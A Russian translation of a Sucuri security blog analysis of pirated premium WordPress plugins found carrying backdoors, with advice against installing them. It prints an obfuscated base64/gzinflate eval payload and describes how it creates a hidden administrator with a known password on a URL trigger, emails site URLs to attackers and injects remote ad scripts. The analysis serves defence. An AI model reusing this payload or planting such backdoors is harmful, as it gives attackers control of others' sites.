Разоблачение «бесплатных» премиальных WordPress-плагинов
WordPress обладает крупным хранилищем бесплатных плагинов (на данный момент их более 30000), которые позволяют добавить практически любую функциональность к вашему блогу. Однако рынок премиальных плагинов по-прежнему живет. Премиальные плагины особенно популярны в том случае, если они помогают владельцам сайтов делать деньги: плагины для электронной коммерции, SEO, партнерских ссылок, обслуживания клиентов и т.д.
Такие плагины могут быть действительно удачным приобретением, и они могут оправдывать свою цену, однако лишь немногие веб-мастера готовы платить за плагины, особенно если они могут достать «бесплатные» или «взломанные» версии премиальных плагинов в сети. Все, что им нужно сделать – это запустить поиск в Google по запросу «название_плагина бесплатно скачать» (free download, если искать в англоязычном сегменте).
Получить что-то бесплатно всегда приятно, однако в большинстве случае вы получите совсем не то, что ожидаете. В конце концов, задайте себе вопрос, почему кто-то должен тратить свое время, чтобы красть программу и затем рассылать ее по форумам и сайтам, если эти люди не рассчитывают получить какой-либо доход от этого (к примеру, от рекламы)? Зачастую ответ заключается в том, что они хотят каким-либо образом воспользоваться преимуществами тех сайтов, которые установят программу, рассылаемую ими. Как именно? Добавив некоторую скрытую функциональность к украденным плагинам: бэкдоры, рекламные объявления, скрытые ссылки и спам.
В данной статье мы поговорим о «исправленных» вредоносных премиальных плагинах. Мы поговорим о том, что именно они делают, как они работают, а также о сайтах, которые ведут свой бизнес на базе украденных тем и плагинов WordPress.
SEOPressor
Стоимость: $47+
Мы нашли этот плагин при чистке сильно зараженного сайта. Он находился в папке wp-content/plugins/seo-pressor(gratuit). Само по себе слово «gratuit» в имени каталога уже привлекало к себе внимание, делая плагин подозрительным. Сканирование веб-сайта выявило следующий код, расположенный внутри файла seo-pressor(gratuit)/classes/central.class.php:
eval (gzinflate( base64 _decode("NdLJlmNQAADQX8muqo6FIKZTXV0HEUKixCybPsIzBOGZHu/ruzf9B3dxd9+/f333Zb8DS9Ls3gtcvfImmcD7IxkBd/ iTgbTLwPublZ2MEZ6RJB1vkD/yYYV8OdYhuTCXwq+1882AVrOXpUJzbr507gkxWLZRYOfc5llCsyRMdIZxv+sW6N0ICq6h6Bm/ 5us1pVADcjlCnsm5tttpIWyHnzkwyMqVJTOupEbLBCE50lcVtKnLKc999/JlZDWRcO8yqve1TKRiND7ZXnsJBW5L0zwJVuFQMQmXgTPLNZnw/PCObVCZ+YO56TOih0TzlIvhqgqpH+jUUgfVXVFrVPDRk6eKdDL1aNQgr2J5wB5Z0GErnQ3muWGF6ktS9a27sYinLuRjpUrQK6GktGCw+pMNqVq84FQCnQBKqUw3vjvT6B8ZyJAgDuEcimHia1660nhruAX71qNCOBjmvMw9q6DN4ukIgufPUyQNmX9ao1YPak6p96OGzSZoj86NPlkXEWnUvSBQzJouKDYxdsKoOTDeA3sxP17dWfxxs4S8HyeWkcYWsmMYieaS2TVR0RfOgw2Xygbrv6I03xIkKlQNfGUTmj4wsOgQdvailUayKYpaL8EVwG1aJTgcMufcgbogTeEAtf1pXp6EzYiru0XYPkcCT/I6+vp623187D4+d/+L/QU=" )) );
Это достаточно типично для премиальных плагинов, которые стараются зашифровать и обфусцировать свой код. Таким образом они пытаются предотвратить кражу своих «ноу-хау» и алгоритмов, что усложняет использование определенных файлов вне плагинов. Мы уважаем такой подход разработчиков, однако мы всегда пытаемся декодировать зашифрованные блоки, чтобы понять, являются ли они легитимным кодом или кодом, добавленным хакерами.
В данном случае после нескольких неудачных этапов декодирования мы пришли к следующему:
Здесь мы видим две функции, которые подцепляются к событию wp_head, что означает, что они выполняются при каждой загрузке страниц блога.
Первая функция, my_wpfunww7x(), создает пользователя с именем «wordpress» и паролем «gh67io9Cjm», который обладает правами администратора. Это происходит лишь в том случае, если URL страницы содержит GET параметр «cms» со значением «jjoplmh». Т.е.: http://blog.example.com/?cms=jjoplmh.
Вторая функция, my_wpfunww7c8(), выполняет проверку, существует ли пользователь с именем «wordpress». Если такого пользователя нет, то функция отправляет email по адресу thomasza@gmx.com с URL блога в теме письма и «WordPress Plugin» в содержании письма.
Можно легко разглядеть логику, которая лежит за использованием этих двух функций:
- Когда веб-мастер ставит этот плагин, он сразу (при первой загрузке страницы блога) отправляет письмо с адресом блога атакующему на почту (thomasza@gmx.com).
- Затем атакующий переходит к блогу и передает в URL параметры ?cms=jjoplmh.
- В результате в блоге создается новый администратор с именем wordpress и известным паролем.
- Теперь атакующий может войти в WordPress с правами администратора и сделать с блогом все, что он захочет (к примеру, вставить бэкдор в какую-нибудь тему или плагин, после чего загрузить вредоносные файлы на сервер), получить доступ к аккаунту сервера (а значит и к сайтам, которые имеют тот же самый аккаунт) и даже к целому серверу.
Flat Skins Pack Extension и Restrict Content Pro
Давайте перейдем к следующим двум «бесплатным» премиум-плагинам.
Мы работали с сервером, который отсылал кучу спамерских писем. Мы нашли скрипт, который это делает и удалили его. В итоге поток писем сразу же сократился на 95%, однако некоторые письма по-прежнему отправлялись. Когда мы проверили заголовки, то мы заметили, что большинство из них имеют одну и ту же строку «WordPress plugin» в своем теле, и отправлялись они либо по адресу «wordpressslog@yandex.com», либо «jaqqscigs@gmail.com». В заголовках также указывались сайты, которые пересылали эти письма, поэтому нам просто нужно было проверить все плагины, которые имелись на данных сайтах.
Restrict Content Pro
Цена: $42+
Сначала мы нашли файл wp-content/restrict-content-pro/includes/sidebar.php (http://pastie.org/8966576 – немного урезанный). Файл содержал в себе 72,847 байтов и только одну строку кода, которая выглядела как закомментированный код плагина «option-tree». Однако если вы изучите код более тщательно, то заметите, что 243 байта в самой середине комментария не закомментированы (отформатировано для удобства):
Знакомо выглядит, не правда ли? Единственной разницей с тем, что мы видели в “gratuit” SEOPressor, является немного отличающееся название функции (my_wpfunww458), а также закодированный в base64 почтовый адрес (d29yZHByZXNzc2xvZ0B5YW5kZXguY29t), который в итоге превращается в wordpressslog@yandex.com после декодирования. Бинго!
Однако погодите: этот код только лишь отправляет письма с URL блога атакующему. Где код, который создает пользователя? Прекрасно, что вы это заметили.
Код находится в файле wp-content/restrict-content-pro/includes/class.php (http://pastie.org/8966599). Опять, 90,390 байтов закомментировано, и одна строка кода с 288 байтами в самой середине комментария, несущая в себе некоторую смысловую нагрузку. Именно эта строка и создает пользователя с ником «wordpress».
На сей раз злоумышленникам нужно ввести параметр ?cms=go в URL.
Отлично, теперь у нас есть две вредоносных функции, однако как WordPress понимает, что их нужно вызвать? В случае с плагином SEOPressor вредоносные функции были инъецированы в файл легитимного плагина, который WordPress загружал для сайта. Здесь же у нас есть два автономных файла, которые вообще не имеют легитимного кода. Кроме того, они не относятся к данному плагину. Ответ состоит в том, что злоумышленники изменили основной файл плагина wp-content/restrict-content-pro/restrict-content-pro.php и добавили к нему следующую строку кода:
... include'includes/class.php'; include'includes/sidebar.php';
Flat Skin Pack Extension
Стоимость: $6
Затем мы нашли похожие вредоносные файлы с незначительными изменениями в wp-content/ubermenu-skins-flat.
- ubermenu-skins-flat/help/js/menu.php – отправляет URL блога на адрес jaqqscigs@gmail.com (amFxcXNjaWdzQGdtYWlsLmNvbQ==)
- ubermenu-skins-flat/help/js/class.php – создает пользователя wordpress с правами администратора
- ubermenu-skins-flat/ubermenu-skins-flat.php – включает два приведенных выше файла.
Источники «исправленных» плагинов
Когда мы поговорили с веб-мастером о том, откуда он взял эти «плагины», то он сказал, что скачал их с сайта wplist.org, и был несказанно удивлен, узнав, что этому сайту не стоит доверять, особенно учитывая такое «крутое» доменное имя.
Мы проверили сайт и обнаружили, что плагины были отправлены пользователем с ником andrewp в июне 2013 года. Всего он отправил пять плагинов – все они содержали в себе вредоносные бэкдоры.
- Restrict Content Pro WordPress Plugin V1.5.5
- Ideas! v1.1.6 Interactive feedback and commenting system
- Ultimate Ajax Grid WordPress Plugin
- User Profiles Plugin for WordPress
- UberMenu – Flat Skin Pack WordPress Plugin V1.0.3
Мы решили немного поискать, кто такой этот andrewp, и обнаружили, что этот пользователь публиковал в сети только такие вот «исправленные» плагины с бэкдорами. Вопрос заключался в том, являются ли такие «исправленные» плагины типичными для сайта wplist, или это всего лишь одноразовая публикация, которая произошла в июне 2013? Чтобы понять это, мы решили скачать несколько случайных плагинов с wplist и его зеркала wplocker.com (хотя мы не уверены, какой из этих сайтов основной).
Нам не понадобилось много времени, чтобы обнаружить несколько «исправленных» плагинов, опубликованных с февраля по март 2014 администратором сайта (а не каким-то сторонним пользователем).
- Go – Responsive Pricing & Compare Tables (go_pricing)
- FormCraft
- Custom Scrollbar WordPress
- Theia Sticky Sidebar
- GravityForms
Наше заключение: такая практика публикации плагинов, содержащих в себе вредоносный код, типична для данных сайтов. Кроме того, когда в области комментариев кто-либо предупреждает о вредоносных «вкраплениях», найденных в плагинах, администратор быстро заменяет их на коммерческие версии. Почему бы не делать так с самого начала?
Я не собираюсь ставить ссылку на этот сайт, но вы можете найти все комментарии, воспользовавшись поиском Google.
Патч для Spamcheckr
«Патч» был изменен в прошлом июне. В то время как добавленные файлы выглядят практически однотипно (одна длинная линия закомментированного PHP-кода с небольшими полезными строками кода в середине), работают они несколько иначе. Во всех них строка, не являющая комментарием, имела следующий вид (добавлено форматирование для удобочитаемости):
Вариации такого кода могут включать в себя различные названия функций, разные URL в переменной $addressd (hxxp://spamcheckr .com/check.php и hxxp://spamcheckr .com/l.php, а также по-разному закодированный в base64 URL-адрес: base64_decode(“c3BhbWNoZWNrci5jb20vY2hlY2sucGhw“);
Что делает код? Он инъецирует контент с URL spamcheckr .com в заголовок WordPress страниц для пользователей, который не зарегистрированы (wordpress_test_cookie не заданы). Однако это происходит не всякий раз. Шансы инъекции составляют 1 к 20 (mt_rand(1,20) == 1), поэтому вам пришлось бы просмотреть достаточно много страниц, чтобы обнаружить это.
Скрипты Adwat.ch
За URL-адресами spamcheckr стоят следующие adwat.ch скрипты:
<script type="text/javascript"> var adwatch_id = 234224; var adwatch_advert = "int"; var exclude_domains = ['affiliates.playboy.com', 'elperutienetalento.com', 'skeezybabes.com', 'wp-admin', 'kamapisachi.info', 'nude', 'sex', 'porn', 'naked', 'fuck', 'cock', 'penis', 'tits', 'boobs', 'pussy', 'wp-login', 'hillaryClinton2016.com', 'mpmgworld.com', 'madeforher.in']; </script> <script type="text/javascript" src="http://adwat .ch/js/easylink.js"></script>
Adwat.ch – это сервис сокращения URL, который показывает полностраничную рекламу, висящую несколько секунд после клика по короткому адресу. Поскольку никому не нравятся навязчивые рекламные объявления, а также учитывая массу альтернативных сервисов, adwat.ch делится доходом от рекламы с людьми, которые сжимают URL с помощью их сервиса. Инъецируемый код участвует в партнерской программе с ID 234224.
Альтернативные вкрапления spamcheckr
Инъецируемый код не всегда является данным adwat.ch скриптом. Обычно он загружается с сервера spamcheckr и может быть практически любым: незаметным, навязчивым или просто вредоносным.
К примеру, некоторые люди сообщили, что инфицированные сайты совершали редирект к объявлениям adf.ly. Мы заметили несколько периодов неактивности, когда spamcheckr возвращал следующий код Google Analytics:
<script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-27917097-1', 'test.com'); ga('send', 'pageview'); </script>
Этот Google Analytics ID UA-27917097-1 уже имеет довольно долгую историю, связанную с использованием в нежелательном коде, который некоторый плагины инъецируют к страницам WordPress. Два года назад пользователи уже сообщали о более старом коде Google Analytics с тем же самым ID, который инъецировался вместе со скрытыми спамерскими ссылками.
Если вы считаете, что рекламные объявления и код Google Analytics не являются угрозами для безопасности, то подумайте еще раз. К примеру, spamcheckr .com способен в итоге вернуть некоторый эксплойтный код, который будет атаковать посетителей сайта или перенаправлять их на вредоносный сайт.
Пиратские программы. Стоят ли они того?
Все мы знаем, что использовать пиратский софт плохо. И не только из этических соображений. Это просто глупо. Почему мы должны верить людям, которые не уважают чужую собственность и делают на этом бизнес? Просто задайте себе вопрос, где они берут столько платных программ и почему они отдают их бесплатно?
Такие плагины скачиваются людьми и используются на своих сайтах по многим причинам. Мы видим об этом кучу тем на форумах WordPress.org. Обратите внимание, как они называют их «не оригинальными», «не официальными», если они нашли в них вредоносный код. Если же вы знаете, что плагин не является оригинальным, так зачем же вы ставите его на свой сервер?
Не всегда все связано с деньгами. Зачастую это просто отсутствие должного опыта и знаний. Мы нашли эти вредоносные плагины на сайтах, которые приносят своим владельцам приличные деньги, на сайтах, которые используют первоклассные решения для хостинга, на сайтах, владельцы которых готовы платить за дополнительные сервисы. Что заставляет этих людей искать пиратские плагины, когда они могут приобрести оригиналы? Что заставляет их устанавливать пиратские плагины и рисковать потерей репутации сайта вследствие использования нежелательных объявлений, редиректов и вирусов? Что заставляет их ставить пиратские плагины, если они могут тем самым открыть лазейку для хакеров (через бэкдоры)? Скорее всего, нехватка знаний.
Думайте о том, что именно вы ставите на свой сервер. Любой сторонний софт, который вы устанавливаете, может навредить не только вашему сайту, но и вашему серверу. Не все функции могут быть описаны. Некоторые темы и плагины содержат в себе тысячи строк кода, и достаточно всего лишь одной строки, чтобы добавить бэкдор, который потенциально может навсегда удалить ваш сайт. Поэтому если вы устанавливаете плагин или тему, вы должны доверять их авторам или сайту, откуда вы это скачали. На пути между разработчиком программы и вами любой злоумышленник мог внести нежелательные изменения.
Пожалуйста, будьте прагматиками. Берите программы только из проверенных источников. Если вам нужен плагин, попробуйте поискать его в официальном хранилище WordPress. В нем содержится свыше 30 000 плагинов. Это хранилище имеет очень жесткие условия отбора плагинов, потому оно должно стать вашим единственным поставщиком бесплатных решений.
Если плагин, в котором вы нуждаетесь, не является бесплатным, то в таком случае покупайте его только напрямую у разработчиков. Не ищите «бесплатные» копии. Не доверяйте ссылкам на форумах и сайтах, которые ведут на то, что не принадлежит их владельцам. Если вы видите некоторое привлекательное описание плагина с теневой ссылкой для скачивания, то попробуйте поискать в Google оригинальную версию этого плагина.
Наконец, действительно ли вам нужен еще один плагин? Вы не можете обойтись без него? Даже легитимные на все сто процентов плагины порой приводят к лишним нагрузкам: сайт работает медленнее, происходят конфликты с уже установленными плагинами и т.д. Чем больше стороннего софта стоит на вашем сервере, тем больше потенциальных проблем с безопасностью может произойти. Постарайтесь придерживаться минимума в этом вопросе.
Следование этим правилам поможет вам в конечном счете избежать многих проблем.
Источник: blog.sucuri.net